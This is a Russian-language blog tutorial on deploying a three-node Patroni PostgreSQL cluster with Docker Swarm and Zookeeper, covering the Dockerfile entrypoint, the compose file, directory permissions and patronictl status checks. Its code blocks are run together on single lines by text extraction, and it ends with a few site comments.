Файлы, которые мысоздали, ранее копируются вимейдж вэтих строчках:

COPY patroni.yml /etc/patroni.ymlCOPY patroni-entrypoint.sh ./entrypoint.sh

И, как яуже упомянул ранее, мыхотим запустить этот скрипт сразу после создания контейнера:

ENTRYPOINT ["bin/sh", "/entrypoint.sh"]

Вот, пожалуй, ився основная подготовка. Теперь мыготовы создать наш кастомный Patroni имейдж.

docker build -t patroni-test .

Самое время обсудить последний посписку, нонеповажности файл для Patroni compose yml.

  • docker-compose-patroni.yml

Правильно написанный compose файл важная часть общей картины. Разберем, что нам нужно иметь ввиду, настраивая конфигурацию.

docker-compose-patroni.yml
version: "3.4"networks:    patroni_patroni:         external: trueservices:    patroni1:        image: patroni-test        networks: [ patroni_patroni ]        ports:            - 5441:5432            - 8091:8091        hostname: patroni1        volumes:          - /patroni1:/data/patroni        environment:            PATRONI_API_CONNECT_PORT: 8091            REPLICATION_NAME: replicator             REPLICATION_PASS: replpass            SU_NAME: postgres            SU_PASS: supass            POSTGRES_APP_ROLE_PASS: appass        deploy:          replicas: 1          placement:            constraints: [node.hostname == floitet]    patroni2:        image: patroni-test        networks: [ patroni_patroni ]        ports:            - 5442:5432            - 8092:8091        hostname: patroni2        volumes:          - /patroni2:/data/patroni        environment:            PATRONI_API_CONNECT_PORT: 8091            REPLICATION_NAME: replicator             REPLICATION_PASS: replpass            SU_NAME: postgres            SU_PASS: supass            POSTGRES_APP_ROLE_PASS: appass        deploy:          replicas: 1          placement:            constraints: [node.hostname == floitet]    patroni3:        image: patroni-test        networks: [ patroni_patroni ]        ports:            - 5443:5432            - 8093:8091        hostname: patroni3        volumes:          - /patroni3:/data/patroni        environment:            PATRONI_API_CONNECT_PORT: 8091            REPLICATION_NAME: replicator             REPLICATION_PASS: replpass            SU_NAME: postgres            SU_PASS: supass            POSTGRES_APP_ROLE_PASS: appass        deploy:          replicas: 1          placement:            constraints: [node.hostname == floitet]
Details

Первое, очем хочется сказать, это момент сexternal network, окотором говорилось ранее. Мыхотим разместить Patroni сервисы тамже, где мыдержим исервисы Zookeeper. Таким образом мысможем обращаться ксервисам поименам, ивсе имена: zoo1, zoo2, zoo3, которые мыперечислили вpatroni.yml, задавая сервера Zookeeperа, будут работать, как надо.

networks:    patroni_patroni:         external: true

Нужно отметить, что унас будут два end pointа: сама база данных иAPI. Идля того идля другого требуется открыть порты:

ports:    - 5441:5432    - 8091:8091...environment:    PATRONI_API_CONNECT_PORT: 8091// также нужно убедиться, что в PATRONI_API_CONNECT_PORT мы передаем// тот же самый, который мы открываем для сервиса   

Также, нам, конечно, нужно передать все переменные среды, которые мызаявили вentrypoint скрипте. Ноиэто еще невсё. Есть вопрос сдиректорией для mountа, который мытоже здесь решаем:

volumes:   - /patroni3:/data/patroni

Как видно изэтой строки, тудиректорию /data/patroni, которая была создана вDockerfile, мымонтируем клокальной директории. Так вот эту локальную директорию нам нужно создать. Инетолько создать, ноивыставить правильного юзера ирежим доступа, например так:

sudo mkdir /patroni3sudo chown 999:999 /patroni3sudo chmod 700 /patroni3// 999 это дефолтный uid для юзера postgres  // эти шаги нужно повторить для каждой ноды Patroni

Мы наконец готовы деплоить Patroni кластер:

sudo docker stack deploy --compose-file docker-compose-patroni.yml patroni

После деплоя влогах сервиса мыдолжны увидеть что-то втаком ключе:

INFO: Lock owner: patroni3; I am patroni1INFO: does not have lockINFO: no action.  i am a secondary and i am following a leader

Былобы печально, еслибы мымогли проверить статус кластера иноды только читая логи. Так что предлагаю коснуться немного способов проверки состояния кластера иначать ссамого простого patronictl. Для этого нужно сначала получить idлюбого контейнера Patroni:

sudo docker psCONTAINER ID        IMAGE                 COMMAND                  CREATED             STATUS              PORTS                          NAMESa0090ce33a05        patroni-test:latest   "bin/sh /entrypoint."   3 hours ago         Up 3 hours          5432/tcp                       patroni_patroni1.1.tgjzpjyuip6ge8szz5lsf8kcq...

Ипотом зайти вконтейнер спомощью exec команды:

sudo docker exec -ti a0090ce33a05 /bin/bash// при вызове команды мы должны передать имя кластера// это параметр 'scope' в patroni.yml ('patroni' в нашем случае)patronictl list patroni// и тут ошибка...Error: 'Can not find suitable configuration of distributed configuration store\nAvailable implementations: exhibitor, kubernetes, zookeeper'

Команда patronictl полагается наpatroni.yml, чтобы получить информацию осерверах Zookeeperа. Оннезнает, где мыэтот файл положили. Так что явно укажем ему путь:

patronictl -c /etc/patroni.yml list patroni// and here is the nice output with the current states+ Cluster: patroni (6893104757524385823) --+----+-----------+| Member   | Host      | Role    | State   | TL | Lag in MB |+----------+-----------+---------+---------+----+-----------+| patroni1 | 10.0.1.93 | Replica | running |  8 |         0 || patroni2 | 10.0.1.91 | Replica | running |  8 |         0 || patroni3 | 10.0.1.92 | Leader  | running |  8 |           |+----------+-----------+---------+---------+----+-----------+

PostgreSQL Connection

Готово! Теперь мыможем подключаться кPostgres ичто-то туда писать. Ноделать это мысможем только изнашей сети patroni_patroni. Так что сначала создаем контейнер сподходящим образом, ипотом изнего уже выполняем команды:

docker run --rm -ti --network=patroni_patroni postgres:11 /bin/bash// доступ к конкретной нодеpsql --host patroni3 --port 5432 -U approle -d postgres// доступ к лидеру через haproxy// так что нужно указать какую-либо через флаг '-d' 

Вот мыинастроили сам кластер Patroni. Нонаш сетап былбы неполным, еслибы мынаэтом иостановились. Есть ещё несколько важных моментов, которые мыдолжны закрыть, нообэтом вовторой части.

Все config файлы для первой части можно забрать отсюда.

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru